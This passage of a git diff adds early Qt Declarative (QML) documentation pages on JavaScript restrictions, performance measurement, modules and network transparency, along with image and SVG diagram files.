JavaScript code, with the following restrictions: + +\list +\o JavaScript code cannot modify the global object. + +In QML, the global object is constant - existing properties cannot be modified or +deleted, and no new properties may be created. + +Most JavaScript programs do not intentionally modify the global object. However, +JavaScript's automatic creation of undeclared variables is an implicit modification +of the global object, and is prohibited in QML. + +Assuming that the \c a variable does not exist in the scope chain, the following code +is illegal in QML. + +\code +// Illegal modification of undeclared variable +a = 1; +for (var ii = 1; ii < 10; ++ii) a = a * ii; + console.log("Result: " + a); +\endcode + +It can be trivially modified to this legal code. + +\code +var a = 1; +for (var ii = 1; ii < 10; ++ii) a = a * ii; + console.log("Result: " + a); +\endcode + +Any attempt to modify the global object - either implicitly or explicitly - will +cause an exception. If uncaught, this will result in an warning being printed, +that includes the file and line number of the offending code. + +\o Global code is run in a reduced scope + +During startup, if a QML file includes an external JavaScript file with "global" +code, it is executed in a scope that contains only the external file itself and +the global object. That is, it will not have access to the QML objects and +properties it \l {QML Scope}{normally would}. + +Global code that only accesses script local variable is permitted. This is an +example of valid global code. + +\code +var colors = [ "red", "blue", "green", "orange", "purple" ]; +\endcode + +Global code that accesses QML objects will not run correctly. + +\code +// Invalid global code - the "rootObject" variable is undefined +var initialPosition = { rootObject.x, rootObject.y } +\endcode + +This restriction exists as the QML environment is not yet fully established. +To run code after the environment setup has completed, refer to +\l {Running JavaScript at Startup}. + +\endlist + +*/ diff --git a/doc/src/declarative/measuring-performance.qdoc b/doc/src/declarative/measuring-performance.qdoc new file mode 100644 index 0000000..cb608bf --- /dev/null +++ b/doc/src/declarative/measuring-performance.qdoc @@ -0,0 +1,122 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page optimizing-performance.html +\target optimizing-performance +\title Optimizing Performance in QML + +The Qt Declarative module includes several tools to help measure performance. + +\section1 Performance Logging + +The declarative module uses the functionality provided by QPerformanceLog to log performance information. To see this information you can add the following to src.pro: + +\code +DEFINES += Q_ENABLE_PERFORMANCE_LOG +\endcode + +The performance information will be printed to screen on a QML application startup, or when running the viewer can be forced at anytime by pressing 'F3' on the keyboard. + +Additional logging can be enabled by adding the relevant categories to qfxperf.h and qfxperf.cpp. + +For example, to measure the cost of calculating the size of a text item, you would first define a TextSize category by adding the following: + +\code +//in qfxperf.h +Q_DECLARE_PERFORMANCE_METRIC(TextSize); + +//in qfxperf.cpp +Q_DEFINE_PERFORMANCE_METRIC(TextSize, "Text Size Calculation"); +\endcode + +You could then use this category in the code: + +\code +void QDeclarativeText::updateSize() +{ + QDeclarativePerfTimer<QDeclarativePerf::TextSize> perf; + ... +} +\endcode + +Because there is no cost for a QDeclarativePerfTimer when Q_ENABLE_PERFORMANCE_LOG is not defined, this line can persist in the code and be used to help detect performance bottlenecks and regressions. See the QPerformanceLog documentation for more information on this performance framework. + +\section1 FPS Measurements + +When running the viewer, pressing 'F2' on the keyboard while a QML program is running will cause information on cost-per-frame and frames-per-second (FPS) to be printed to the console. + +The information printed includes: +\list +\o \e repaint(): the total time spent painting. +\o \e paint(): the time spent by Qt painting. +\o \e timeBetweenFrames: the total time spent per frame. This number minus repaint() gives a good idea of how much time is spent on things besides painting. A high number here with a low number for repaint() indicates expensive calculations happening each frame. +\endlist + +\section1 Improving Performance + +The following tips can help decrease startup time for QML-based appications. + +\section2 Images + +\list +\o Use jpg instead of png for photo-like images. On the N810, this can save 150ms for a large (320x480) image. + +\o If you are configuring Qt, configure out any image plugins you don't plan to support (mng and svg are the most expensive). On the N810, this can save 75-100ms startup time. For example: + +\code +configure -no-libmng -no-svg -no-libtiff +\endcode + +\o In some cases running pngcrush, optipng, gifsicle or other similar tools can give some improvement. + +We are also investigating support for the loading of uncompressed images. This will provide opportunites to decrease startup time at the cost of increased storage space. +\endlist + +\section2 Fonts + +\list +\o Use qpf instead of ttf. When using multiple font sizes and weights on the N810, this can save 125ms startup time compared to a ttf 'clean' run, and 40-50ms on subsequent runs (ttfs are shared by open applications). +\endlist + +*/ + +*/ diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc new file mode 100644 index 0000000..0c69930 --- /dev/null +++ b/doc/src/declarative/modules.qdoc @@ -0,0 +1,188 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativemodules.html +\title Modules +\section1 QML Modules + +A \bold {QML module} is a collection of QML types. They allow you to organize your QML content +into independent units. Modules have an optional versioning mechanism that allows for independent +upgradability of the modules. + +There are two types of modules: +location modules (defined by a URL), +and +installed modules (defined by a URI). + +Location modules types are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins} +in a directory refered to directly by +the location URL, either on the local filesystem, or as a network resource. The URL that locates them +can be relative, in which case they actual URL is resolved by the QML file containing the import. +When importing a location module, a quoted URL is used: + +\code +import "https://qml.nokia.com/qml/example" 1.0 +import "https://qml.nokia.com/qml/example" as NokiaExample +import "mymodule" 1.0 +import "mymodule" +\endcode + +Installed modules can \e only be on the local file system or in application C++ code. Again they +are defined in QML files and \l{QDeclarativeExtensionPlugin}{QML C++ plugins} in a directory, +but the directory is indirectly referred to by the URI. The mapping to actual content is either +by application C++ code registering a C++ type to a module URI (see \l{Extending QML in C++}), +or in the referenced subdirectory of a path on the import path (see below). +When importing a location module, an un-quoted URI is used: + +\code +import com.nokia.qml.mymodule 1.0 +import com.nokia.qml.mymodule as MyModule +\endcode + + +For either type of module, a \c qmldir file in the module directory defines the content of the module. This file is +optional for location modules, but only for local filesystem content or a single remote content with a namespace. +The second exception is explained in more detail in the section below on Namespaces. + +\section2 The Import Path + +Installed modules are searched for on the import path. +The \c -I option to the \l {Qt Declarative UI Runtime}{qml} runtime adds paths to the import path. + +From C++, the path is available via \l QDeclarativeEngine::importPathList() and can be prepended to +using \l QDeclarativeEngine::addImportPath(). + +\section2 The \c qmldir File + +Installed QML modules and remote content without a namespace require a file \c qmldir which +specifies the mapping from all type names to versioned QML files. It is a list of lines of the form: + +\code +# <Comment> +<TypeName> [<InitialVersion>] <File> +internal <Name> <File> +plugin <Name> [<Path>] +\endcode + +# <Comment> lines are ignored, and can be used for comments. + +<TypeName> <InitialVersion> <File> lines are used to add QML files as types. +<TypeName> is the type being made available; the optional <InitialVersion> is a version +number like \c 4.0; <File> is the (relative) +file name of the QML file defining the type. + +Installed files do not need to import the module of which they are a part, as they can refer +to the other QML files in the module as relative (local) files, but +if the module is imported from a remote location, those files must nevertheless be listed in +the \c qmldir file. Types which you do not wish to export to users of your module +may be marked with the \c internal keyword: \c internal <TypeName> <File>. + +The same type can be provided by different files in different versions, in which +case later earlier versions (eg. 1.2) must precede earlier versions (eg. 1.0), +since the \e first name-version match is used and a request for a version of a type +can be fulfilled by one defined in an earlier version of the module. + +Installed and remote files without a namespace \e must be referred to by version information described above, +local files \e may have it. + +The versioning system ensures that a given QML file will work regardless of the version +of installed software, since a versioned import \e only imports types for that version, +leaving other identifiers available, even if the actual installed version might otherwise +provide those identifiers. + +\c plugin <Name> [<Path>] lines are used to add \l{QDeclarativeExtensionPlugin}{QML C++ plugins} +to the module. + +<Name> is the name of the library. It is usually not the same as the file name +of the plugin binary, which is platform dependent; e.g. the library MyAppTypes would produce +a libMyAppTypes.so on Linux and MyAppTypes.dll on Windows. +By default the engine searches for the plugin library in the directory containing the \c qmldir +file. The \c -P option to the \l {Qt Declarative UI Runtime}{qml} runtime adds paths to the +plugin search path. +From C++, the path is available via \l QDeclarativeEngine::pluginPathList() and can be prepended to +using \l QDeclarativeEngine::addPluginPath(). + +<Path> is an optional argument specifying either an absolute path to the directory containing the +plugin file, or a relative path from the directory containing the \c qmldir file to the directory +containing the plugin file. + + +\section2 Namespaces - Named Imports + +When importing content it by default imports types into the global namespace. +You may choose to import the module into another namespace, either to allow identically-named +types to be referenced, or purely for readability. + +To import a module into a namespace: + +\code +import Qt 4.7 as TheQtLibrary +\endcode + +Types from the Qt 4.7 module may then be used, but only by qualifying them with the namespace: + +\code +TheQtLibrary.Rectangle { ... } +\endcode + +Multiple modules can be imported into the same namespace in the same way that multiple +modules can be imported into the global namespace: + +\code +import Qt 4.7 as Nokia +import Ovi 1.0 as Nokia +\endcode + +While import statements are needed to make any types available in QML, the directory of the +current file is implicitly loaded. This is the exact same as if you had added 'import "."' to +the start of every QML file. The effect of this is that you can automatically use types defined in C++ plugins +or QML files if they reside in the same directory. This is the last location searched for types - so if you +happen to have a "Text.qml" file, or "text.qml" on case-insensitive file systems, it will not override +the one from Qt if you import Qt. + +*/ + +/* + +Original requirement is QT-558. + +*/ diff --git a/doc/src/declarative/network.qdoc b/doc/src/declarative/network.qdoc new file mode 100644 index 0000000..0a26c68 --- /dev/null +++ b/doc/src/declarative/network.qdoc @@ -0,0 +1,166 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativenetwork.html +\title Network Transparency + +QML supports network transparency by using URLs (rather than file names) for all +references from a QML document to other content: + +\qml +Image { + source: "http://www.example.com/images/logo.png" +} +\endqml + +Since a \e relative URL is the same +as a relative file, development of QML on regular file systems remains simple: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +Network transparency is supported throughout QML, for example: + +\list +\o Fonts - the \c source property of FontLoader is a URL +\o WebViews - the \c url property of WebView (obviously!) +\endlist + +Even QML types themselves can be on the network - if the \l {Qt Declarative UI Runtime}{qml} tool is used to load +\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", this +will load from \tt http://example.com/mystuff/World.qml just as it would for a local file. +Any other resources that \tt Hello.qml referred to, usually by a relative URL, would +similarly be loaded from the network. + + +\section1 Relative vs. Absolute URLs + +Whenever an object has a property of type URL (QUrl), assigning a string to that +property will actually assign an absolute URL - by resolving the string against +the URL of the document where the string is used. + +For example, consider this content in \tt{http://example.com/mystuff/test.qml}: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, +but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned +\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. + +If the string assigned to a URL is already an absolute URL, then "resolving" does +not change it and the URL is assigned directly. + + +\section1 Progressive Loading + +Because of the declarative nature of QML and the asynchronous nature of network resources, +objects which reference network resource generally change state as the network resource loads. +For example, an Image with a network source will initially have +a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. +While the content loads, the \c progress will increase until +the content is fully loaded from the network, +at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. +Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply +bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. + +Note that when objects reference local files they immediately have the \c Ready status, but applications wishing +to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O +to improve performance. + + +\section1 Accessing Network Services + +QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended +entirely for accessing network services, which usually respond with references to +content by URLs that can then be used directly in QML. For example, using these facilities +to access an on-line photography service would provide the QML application with URLs to +photographs, which can be directly set on an \l Image \c source property. + +See the \tt demos/declarative/flickr for a real demonstration of this. + + +\section1 Configuring the Network Access Manager + +All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML. +By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager using +QDeclarativeEngine::setNetworkAccessManager() as appropriate for the policies of your application. +For example, the \l {Qt Declarative UI Runtime}{qml} tool sets a new QNetworkAccessManager which +trusts HTTP Expiry headers to avoid network cache checks, allows HTTP Pipelining, adds a persistent HTTP CookieJar, +a simple disk cache, and supports proxy settings. + + +\section1 QRC Resources + +One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into +the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content +that is compiled into the executable: + +\code + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setUrl(QUrl("qrc:/dial.qml")); +\endcode + +The content itself can then use relative URLs, and so be transparently unaware that the content is +compiled into the executable. + + +\section1 Limitations + +The \c import statement is only network transparent if it has an "as" clause. + +More specifically: +\list +\o \c{import "dir"} only works on local file systems +\o \c{import libraryUri} only works on local file systems +\o \c{import "dir" as D} works network transparently +\o \c{import libraryUrl as U} works network transparently +\endlist + + +*/ diff --git a/doc/src/declarative/pics/3d-axis.png b/doc/src/declarative/pics/3d-axis.png Binary files differnew file mode 100644 index 0000000..1a587ff --- /dev/null +++ b/doc/src/declarative/pics/3d-axis.png diff --git a/doc/src/declarative/pics/3d-rotation-axis.png b/doc/src/declarative/pics/3d-rotation-axis.png Binary files differnew file mode 100644 index 0000000..b940215 --- /dev/null +++ b/doc/src/declarative/pics/3d-rotation-axis.png diff --git a/doc/src/declarative/pics/BorderImage.png b/doc/src/declarative/pics/BorderImage.png Binary files differnew file mode 100644 index 0000000..651dd8a --- /dev/null +++ b/doc/src/declarative/pics/BorderImage.png diff --git a/doc/src/declarative/pics/ListViewHighlight.png b/doc/src/declarative/pics/ListViewHighlight.png Binary files differnew file mode 100644 index 0000000..02bf51d --- /dev/null +++ b/doc/src/declarative/pics/ListViewHighlight.png diff --git a/doc/src/declarative/pics/ListViewHorizontal.png b/doc/src/declarative/pics/ListViewHorizontal.png Binary files differnew file mode 100644 index 0000000..4633a0e --- /dev/null +++ b/doc/src/declarative/pics/ListViewHorizontal.png diff --git a/doc/src/declarative/pics/ListViewSections.png b/doc/src/declarative/pics/ListViewSections.png Binary files differnew file mode 100644 index 0000000..9270126 --- /dev/null +++ b/doc/src/declarative/pics/ListViewSections.png diff --git a/doc/src/declarative/pics/ListViewVertical.png b/doc/src/declarative/pics/ListViewVertical.png Binary files differnew file mode 100644 index 0000000..e0b23d9 --- /dev/null +++ b/doc/src/declarative/pics/ListViewVertical.png diff --git a/doc/src/declarative/pics/anatomy-component.png b/doc/src/declarative/pics/anatomy-component.png Binary files differnew file mode 100644 index 0000000..70ed983 --- /dev/null +++ b/doc/src/declarative/pics/anatomy-component.png diff --git a/doc/src/declarative/pics/anchors.svg b/doc/src/declarative/pics/anchors.svg new file mode 100644 index 0000000..08b00ed --- /dev/null +++ b/doc/src/declarative/pics/anchors.svg @@ -0,0 +1,92 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<!-- Created with Inkscape (http://www.inkscape.org/) --> +<svg + xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:cc="http://web.resource.org/cc/" + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns:svg="http://www.w3.org/2000/svg" + xmlns="http://www.w3.org/2000/svg" + xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" + xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" + width="744.09448819" + height="1052.3622047" + id="svg1910" + sodipodi:version="0.32" + inkscape:version="0.44.1" + inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/anchors_example2.png" + inkscape:export-xdpi="189.65207" + inkscape:export-ydpi="189.65207" + sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics" + sodipodi:docname="anchors.svg"> + <defs + id="defs1912" /> + <sodipodi:namedview + id="base" + pagecolor="#ffffff" + bordercolor="#666666" + borderopacity="1.0" + gridtolerance="10000" + guidetolerance="10" + objecttolerance="10" + inkscape:pageopacity="0.0" + inkscape:pageshadow="2" + inkscape:zoom="1.979899" + inkscape:cx="431.57095" + inkscape:cy="413.38853" + inkscape:document-units="px" + inkscape:current-layer="layer1" + inkscape:window-width="1386" + inkscape:window-height="971" + inkscape:window-x="0" + inkscape:window-y="0" /> + <metadata + id="metadata1915"> + <rdf:RDF> + <cc:Work + rdf:about=""> + <dc:format>image/svg+xml</dc:format> + <dc:type + rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> + </cc:Work> + </rdf:RDF> + </metadata> + <g + inkscape:label="Layer 1" + inkscape:groupmode="layer" + id="layer1"> + <rect + style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.52033526;stroke-miterlimit:4;stroke-dasharray:1.04067054, 0.52033527;stroke-dashoffset:0;stroke-opacity:1" + id="rect2807" + width="36.245155" + height="32.204544" + x="390.23157" + y="574.62024" /> + <rect + style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.44547796;stroke-miterlimit:4;stroke-dasharray:0.89095592, 0.44547796;stroke-dashoffset:0;stroke-opacity:1" + id="rect2809" + width="59.048447" + height="14.601732" + x="430.82993" + y="574.9483" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="399.40982" + y="594.76312" + id="text3696"><tspan + sodipodi:role="line" + id="tspan3698" + x="399.40982" + y="594.76312">pic</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="445.84048" + y="586.5423" + id="text3700"><tspan + sodipodi:role="line" + id="tspan3702" + x="445.84048" + y="586.5423">label</tspan></text> + </g> +</svg> diff --git a/doc/src/declarative/pics/animatedimageitem.gif b/doc/src/declarative/pics/animatedimageitem.gif Binary files differnew file mode 100644 index 0000000..85c3cb5 --- /dev/null +++ b/doc/src/declarative/pics/animatedimageitem.gif diff --git a/doc/src/declarative/pics/axisrotation.png b/doc/src/declarative/pics/axisrotation.png Binary files differnew file mode 100644 index 0000000..4cddcdf --- /dev/null +++ b/doc/src/declarative/pics/axisrotation.png diff --git a/doc/src/declarative/pics/blur_example.png b/doc/src/declarative/pics/blur_example.png Binary files differnew file mode 100644 index 0000000..763b112 --- /dev/null +++ b/doc/src/declarative/pics/blur_example.png diff --git a/doc/src/declarative/pics/content.png b/doc/src/declarative/pics/content.png Binary files differnew file mode 100644 index 0000000..47a98ac --- /dev/null +++ b/doc/src/declarative/pics/content.png diff --git a/doc/src/declarative/pics/declarative-adv-tutorial1.png b/doc/src/declarative/pics/declarative-adv-tutorial1.png Binary files differnew file mode 100644 index 0000000..1699ab0 --- /dev/null +++ b/doc/src/declarative/pics/declarative-adv-tutorial1.png diff --git a/doc/src/declarative/pics/declarative-adv-tutorial2.png b/doc/src/declarative/pics/declarative-adv-tutorial2.png Binary files differnew file mode 100644 index 0000000..ba27c44 --- /dev/null +++ b/doc/src/declarative/pics/declarative-adv-tutorial2.png diff --git a/doc/src/declarative/pics/declarative-adv-tutorial3.png b/doc/src/declarative/pics/declarative-adv-tutorial3.png Binary files differnew file mode 100644 index 0000000..d500434d --- /dev/null +++ b/doc/src/declarative/pics/declarative-adv-tutorial3.png diff --git a/doc/src/declarative/pics/declarative-adv-tutorial4.gif b/doc/src/declarative/pics/declarative-adv-tutorial4.gif Binary files differnew file mode 100644 index 0000000..827458d --- /dev/null +++ b/doc/src/declarative/pics/declarative-adv-tutorial4.gif diff --git a/doc/src/declarative/pics/declarative-qmlfocus1.png b/doc/src/declarative/pics/declarative-qmlfocus1.png Binary files differnew file mode 100644 index 0000000..fd05146 --- /dev/null +++ b/doc/src/declarative/pics/declarative-qmlfocus1.png diff --git a/doc/src/declarative/pics/declarative-qmlfocus2.png b/doc/src/declarative/pics/declarative-qmlfocus2.png Binary files differnew file mode 100644 index 0000000..a946e2c --- /dev/null +++ b/doc/src/declarative/pics/declarative-qmlfocus2.png diff --git a/doc/src/declarative/pics/declarative-qmlfocus3.png b/doc/src/declarative/pics/declarative-qmlfocus3.png Binary files differnew file mode 100644 index 0000000..ba55f76 --- /dev/null +++ b/doc/src/declarative/pics/declarative-qmlfocus3.png diff --git a/doc/src/declarative/pics/declarative-qmlfocus4.png b/doc/src/declarative/pics/declarative-qmlfocus4.png Binary files differnew file mode 100644 index 0000000..e21f2a6 --- /dev/null +++ b/doc/src/declarative/pics/declarative-qmlfocus4.png diff --git a/doc/src/declarative/pics/dial-example.gif b/doc/src/declarative/pics/dial-example.gif Binary files differnew file mode 100644 index 0000000..4e90ba9 --- /dev/null +++ b/doc/src/declarative/pics/dial-example.gif diff --git a/doc/src/declarative/pics/edge1.png b/doc/src/declarative/pics/edge1.png Binary files differnew file mode 100644 index 0000000..f4bc16d --- /dev/null +++ b/doc/src/declarative/pics/edge1.png diff --git a/doc/src/declarative/pics/edge2.png b/doc/src/declarative/pics/edge2.png Binary files differnew file mode 100644 index 0000000..71bda8e --- /dev/null +++ b/doc/src/declarative/pics/edge2.png diff --git a/doc/src/declarative/pics/edge3.png b/doc/src/declarative/pics/edge3.png Binary files differnew file mode 100644 index 0000000..51bb894 --- /dev/null +++ b/doc/src/declarative/pics/edge3.png diff --git a/doc/src/declarative/pics/edge4.png b/doc/src/declarative/pics/edge4.png Binary files differnew file mode 100644 index 0000000..aee3bd1 --- /dev/null +++ b/doc/src/declarative/pics/edge4.png diff --git a/doc/src/declarative/pics/edges.png b/doc/src/declarative/pics/edges.png Binary files differnew file mode 100644 index 0000000..211b101 --- /dev/null +++ b/doc/src/declarative/pics/edges.png diff --git a/doc/src/declarative/pics/edges.svg b/doc/src/declarative/pics/edges.svg new file mode 100644 index 0000000..25698ca --- /dev/null +++ b/doc/src/declarative/pics/edges.svg @@ -0,0 +1,185 @@ +<?xml version="1.0" encoding="UTF-8" standalone="no"?> +<!-- Created with Inkscape (http://www.inkscape.org/) --> +<svg + xmlns:dc="http://purl.org/dc/elements/1.1/" + xmlns:cc="http://web.resource.org/cc/" + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns:svg="http://www.w3.org/2000/svg" + xmlns="http://www.w3.org/2000/svg" + xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" + xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" + width="744.09448819" + height="1052.3622047" + id="svg2" + sodipodi:version="0.32" + inkscape:version="0.44.1" + sodipodi:docbase="/home/mbrasser" + sodipodi:docname="edges.svg"> + <defs + id="defs4"> + <marker + inkscape:stockid="Arrow1Mstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Mstart" + style="overflow:visible"> + <path + id="path3850" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.4) translate(10,0)" /> + </marker> + <marker + inkscape:stockid="Arrow1Lstart" + orient="auto" + refY="0.0" + refX="0.0" + id="Arrow1Lstart" + style="overflow:visible"> + <path + id="path3856" + d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " + style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" + transform="scale(0.8) translate(12.5,0)" /> + </marker> + </defs> + <sodipodi:namedview + id="base" + pagecolor="#ffffff" + bordercolor="#666666" + borderopacity="1.0" + gridtolerance="10000" + guidetolerance="10" + objecttolerance="10" + inkscape:pageopacity="0.0" + inkscape:pageshadow="2" + inkscape:zoom="2.8583315" + inkscape:cx="372.04724" + inkscape:cy="596.15198" + inkscape:document-units="px" + inkscape:current-layer="layer1" + inkscape:window-width="1279" + inkscape:window-height="969" + inkscape:window-x="0" + inkscape:window-y="0" /> + <metadata + id="metadata7"> + <rdf:RDF> + <cc:Work + rdf:about=""> + <dc:format>image/svg+xml</dc:format> + <dc:type + rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> + </cc:Work> + </rdf:RDF> + </metadata> + <g + inkscape:label="Layer 1" + inkscape:groupmode="layer" + id="layer1"> + <rect + style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1" + id="rect1872" + width="33.656742" + height="39.808346" + x="208.86543" + y="390.22763" + rx="5" + ry="5" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733" + id="path2760" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733" + id="path3647" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733" + id="path3649" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956" + id="path3651" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112" + id="path3653" /> + <path + style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1" + d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742" + id="path3655" /> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="258.54242" + y="393.58627" + id="text3657"><tspan + sodipodi:role="line" + id="tspan3659" + x="258.54242" + y="393.58627" + style="font-size:10px">Top</tspan></text> + <text + xml:space="preserve" + style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" + x="258.78955" + y="412.28455" + 